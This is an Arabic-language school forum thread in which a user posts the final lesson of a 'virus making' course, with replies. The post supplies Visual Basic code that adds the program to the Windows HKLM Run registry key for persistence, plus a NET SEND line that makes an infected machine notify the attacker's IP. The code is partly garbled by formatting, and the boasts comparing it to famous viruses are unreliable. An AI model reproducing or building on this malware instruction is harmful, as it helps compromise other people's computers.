أهلا بزوارنا الأكارم في موقع طلاب ثانوية الفارابي

نرجو أن تساهموا بإغناء منتدانا بمشاركاتكم وتعليقاتكم البناءة

شكرا لزيارتكم



























بحـث
 
 

نتائج البحث
 


Rechercher بحث متقدم

المواضيع الأخيرة
» كتاب علم الأحياء بصياغة مؤلفه الأستاذ علي المحمد
الجمعة أكتوبر 04, 2013 5:47 pm من طرف الأستاذ علي حسن المحمد

» فلاشات حول "ميكانيك السوائل"
الثلاثاء نوفمبر 06, 2012 4:21 pm من طرف عمار ابراهيم

» خاص بنظرية الطاقة الحركية
الأحد نوفمبر 04, 2012 4:22 am من طرف المدير العام للمنتدى

» خاص بميكانيك السوائل والحقل المغناطيسي
الإثنين أكتوبر 29, 2012 7:12 pm من طرف الأستاذ جمال ديب

» خاص بنواس الفتل
الجمعة أكتوبر 19, 2012 2:09 am من طرف الأستاذ جمال ديب

» كلمات أغنية حماك الله ياوطني مع التحميل
الثلاثاء أكتوبر 16, 2012 9:39 pm من طرف hani3571

» خاص بالنواس المرن
السبت أكتوبر 13, 2012 3:42 am من طرف الأستاذ جمال ديب

» خاص بنظرية التسارع الزاوي ونظرية العزوم
الجمعة أكتوبر 12, 2012 5:49 pm من طرف الأستاذ جمال ديب

» الأستاذ محمد نزار الهزاز في ذمة الله
الخميس أكتوبر 11, 2012 12:54 am من طرف المدير العام للمنتدى

سحابة الكلمات الدلالية

احصائيات
هذا المنتدى يتوفر على 972 عُضو.
آخر عُضو مُسجل هو خالد عبيدات فمرحباً به.

أعضاؤنا قدموا 7411 مساهمة في هذا المنتدى في 2291 موضوع
رجاء التزموا بغاية المنتدى

الأربعاء مارس 16, 2011 1:55 am من طرف نائب المدير العام

رجاء إلى جميع من يزور منتدانا العلمي ...أن يلتزم بالمواضيع العلمية والمختلفة وفقا للبوابات المتاحة
والابتعاد عن المقالات والاخبار الدينية والسياسية فكل منا لديه ما يكفي من الفضائيات والكتب والمبادئ.
وكما ذكر سابقا …

تعاليق: 0

شكر وترحيب

الإثنين سبتمبر 20, 2010 6:22 pm من طرف نائب المدير العام

باسمي وباسم كل الأعضاء في منتدى ثانوية الفارابي أرحب بالمدرسين الأكارم الذين شرفونا بالانضمام إلى هذا المنتدى .
َعلّ هذه الخطوة تحقق غاية من غايات المنتدى في تعزيز عملية التواصل بين المدرس وتلميذه وتطوير آلية التعليم .


تعاليق: 0

إلى جميع الأعضاء

السبت يونيو 19, 2010 9:43 pm من طرف نائب المدير العام

أريد أن أشكر جميع الأعضاء والزوار والمشرفين على جميع مساهماتهم التي أغنت المنتدى وساعدت على تطويره .

وأشكركم أيضا على التزامكم قواعد الأدب والاحترام واللباقة ضمن المنتدى .

أتمنى أن تستمروا بالتواصل معنا


نائب المدير العام

تعاليق: 0

المتواجدون الآن ؟
ككل هناك 2 عُضو متصل حالياً :: 0 عضو مُسجل, 0 عُضو مُختفي و 2 زائر

لا أحد

أكبر عدد للأعضاء المتواجدين في هذا المنتدى في نفس الوقت كان 27 بتاريخ الثلاثاء أغسطس 28, 2012 11:23 pm

صناعة الفيروسات - الدرس السادس والأخير

اذهب الى الأسفل

صناعة الفيروسات - الدرس السادس والأخير

مُساهمة من طرف bl@ck h@cker في الأحد مايو 02, 2010 8:11 pm

الدرس السادس
الدرس هاد مهم جدا
اخواني الاعزاء هذا الدرس يعتبر الدرس الأخير من صناعة الفيروسات وهو للمحترفين فقط وهو عبارة عن أكواد فيروسات للفيجيول بيسك.
1.طريقة تشغيل الفيروس عند بدء التشغيل :
سوف نستخدم لغة الفيجول بيسك و يجب على الشخص الذي يريد استخدام الكود لديه مستوى و لو فوق الوسط ليعرف وضع الكودات على كلاً يوجد كتاب و سأضعه فيما بعد في المنتدى يمكن من خلاله تعلم الفيجول بيسك و انا انصح به المهم الان سوف اعطيكم الكودات و مناطق وضعها اما عن كيفية دمج الفيروس مع الفيجول فراجعوا الدرس الاول لمعرفة الطريقة الكاملة .


كود PHP:
كود بدا التشغيل :
في الموديل :
Option Explicit
Private Declare Function RegOpenKeyEx Lib "advapi32.dll" Alias "RegOpenKeyExA" (ByVal hKey As Long, ByVal lpSubKey As String, ByVal ulOptions As Long, ByVal samDesired As Long, phkResult As Long) As Long
Private Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long
Private Declare Function RegDeleteKey Lib "advapi32.dll" Alias "RegDeleteKeyA" (ByVal hKey As Long, ByVal lpSubKey As String) As Long
Private Declare Function RegDeleteValue Lib "advapi32.dll" Alias "RegDeleteValueA" (ByVal hKey As Long, ByVal lpValueName As String) As Long
Private Declare Function RegSetValueEx Lib "advapi32.dll" Alias "RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, ByVal lpData As String, ByVal cbData As Long) As Long
Private Declare Function RegCreateKeyEx Lib "advapi32.dll" Alias "RegCreateKeyExA" (ByVal hKey As Long, ByVal lpSubKey As String, ByVal Reserved As Long, ByVal lpClass As String, ByVal dwOptions As Long, ByVal samDesired As Long, lpSecurityAttributes As Any, phkResult As Long, lpdwDisposition As Long) As Long
Private Const READ_CONTROL = &H20000
Private Const KEY_QUERY_VALUE = &H1
Private Const KEY_SET_VALUE = &H2
Private Const KEY_CREATE_SUB_KEY = &H4
Private Const KEY_ENUMERATE_SUB_KEYS = &H8
Private Const KEY_NOTIFY = &H10
Private Const KEY_CREATE_LINK = &H20
Private Const KEY_READ = KEY_QUERY_VALUE + KEY_ENUMERATE_SUB_KEYS + KEY_NOTIFY + READ_CONTROL
Private Const KEY_WRITE = KEY_SET_VALUE + KEY_CREATE_SUB_KEY + READ_CONTROL
Private Const KEY_EXECUTE =
KEY_READ
Private Const KEY_ALL_ACCESS = KEY_QUERY_VALUE
+ KEY_SET_VALUE + KEY_CREATE_SUB_KEY
+ KEY_ENUMERATE_SUB_KEYS + KEY_NOTIFY
+ KEY_CREATE_LINK + READ_CONTROL
Private Const RunPath = "Software\Microsoft\Windows\CurrentVersion\Run\"
Private Const HKLM =
&H80000002
' استخدم الامر التالي لالغاء التشغيل التلقائي Public Sub DoNotRun(ProgramName
As String) Dim hKey As Long Dim Ret
As Long ' فتح
المفتاح المطلوب Ret = RegOpenKeyEx(HKLM, RunPath, 0, KEY_ALL_ACCESS,
hKey) ' حذفها من
مسجل النظام. Ret =
RegDeleteValue(hKey, ProgramName) ' إغلاق
المفتاح RegCloseKey hKey End
Sub Public Sub RunWhenStartup(ProgramName
As String, ProgramPath As
String) Dim hKey
As Long Dim Ret As Long ' فتح
المفتاح المطلوب Ret =
RegOpenKeyEx(HKLM, RunPath, 0, KEY_ALL_ACCESS, hKey) '
إنشاء قيمة جديدة بإسم
البرنامج وعنوانه. Ret =
RegSetValueEx(hKey,
ProgramName, 0&, 1,
ProgramPath, Len(ProgramPath)) 'LenB(StrConv(TheData,
vbFromUnicode)) +
1) '
إغلاق المفتاح RegCloseKey hKey End Sub ------------ في
الفورم : RunWhenStartup "عنوان",
App.Path & "" &
App.EXEName & ".exe" <
/FONT
>

2.كيفية التبليغ : (فقط في الشبكات)
اعرف جيد جدا انه لا يوجد فيروس في العالم يحوي شيء اسمه تبليغ لاكن بعد الان سوف يوجد نعم اخواني هذه الطريقة المجربة و لا يوجد به اي خطا كود بسيط يعادل الف برامج قراصنة الانترنيت كل ما علينا فعله هو اضافة هذا السطر الى كود الفيروس مع تغير بعض الاشياء كاالتالي :

كود:

كود PHP:
NET SEND 127.0.0.1 Run Virus Now

الان سوف نجري بعض التغيرات
Run Virus Now ضع الرسالة التي تريد ان تصلك و حتى لو في العربي
127.0.0.1 ضع رقم ip الخاص بك و سوف يتم ارسال الرسالة الى ip الخاص بك
اذ لا تعرف ip يمكنك زيارة هذا الموقع و سوف يظهر الايبي مباشرة :
http://www.showmyip.com/

وهيك بتكون خلصت الدورة التدريبية لصناعة الفيروسات من البداية للاحتراف
أتمنى أنو تكونوا فهمتو الدروس تمام وأنا جاهز لأي سؤال أو استفسار



"ابتسم دائما فنحن الهكرز كالأقمار لنا وجه مظلم"...................
مع تحيات أخوكم :bl@ck h@cker


وأخيرا أنصحكم باالأبتعاد عن عالم القرصنة لأنه عالم خطير ومليئ باالتحديات ولازم نكون حذرين لأنوا نهاية الهكرز بااالتأكيد الاعتقال ....................................



avatar
bl@ck h@cker
عضو لامع
عضو لامع

عدد المساهمات : 59
نقاط : 3209
السٌّمعَة : 10
تاريخ التسجيل : 15/04/2010

http://www.vbhackers.net

الرجوع الى أعلى الصفحة اذهب الى الأسفل

رد: صناعة الفيروسات - الدرس السادس والأخير

مُساهمة من طرف freedom في الجمعة يونيو 18, 2010 10:42 pm

لكن هذه الفيروسات ليست سوى فيروسات أليفة أو بالاصح ضعيفة؟؟؟؟؟
scratch
avatar
freedom
عضو نشيط
عضو نشيط

عدد المساهمات : 209
نقاط : 3472
السٌّمعَة : 4
تاريخ التسجيل : 18/06/2010

الرجوع الى أعلى الصفحة اذهب الى الأسفل

رد: صناعة الفيروسات - الدرس السادس والأخير

مُساهمة من طرف bl@ck h@cker في الإثنين يوليو 19, 2010 9:50 pm

عن جد...............
والله عندك خبرة ب الفيروسات بس رديت ع الدرس الغلط
هيدا درس ب الفيجيوال بيسك وفيروساتو من أقوى الفيروسات متل تشيرنوبل وفايروس الحب وميليسا
يعني رجاء إذا ماعندك خبرة لا تحكي
avatar
bl@ck h@cker
عضو لامع
عضو لامع

عدد المساهمات : 59
نقاط : 3209
السٌّمعَة : 10
تاريخ التسجيل : 15/04/2010

http://www.vbhackers.net

الرجوع الى أعلى الصفحة اذهب الى الأسفل

رد: صناعة الفيروسات - الدرس السادس والأخير

مُساهمة من طرف أسير الدمع في الثلاثاء أكتوبر 19, 2010 2:24 am

مشكور
avatar
أسير الدمع
عضو برونزي
عضو برونزي

عدد المساهمات : 309
نقاط : 3550
السٌّمعَة : 6
تاريخ التسجيل : 17/04/2010
العمر : 24
الموقع : homs

الرجوع الى أعلى الصفحة اذهب الى الأسفل

الرجوع الى أعلى الصفحة


 
صلاحيات هذا المنتدى:
لاتستطيع الرد على المواضيع في هذا المنتدى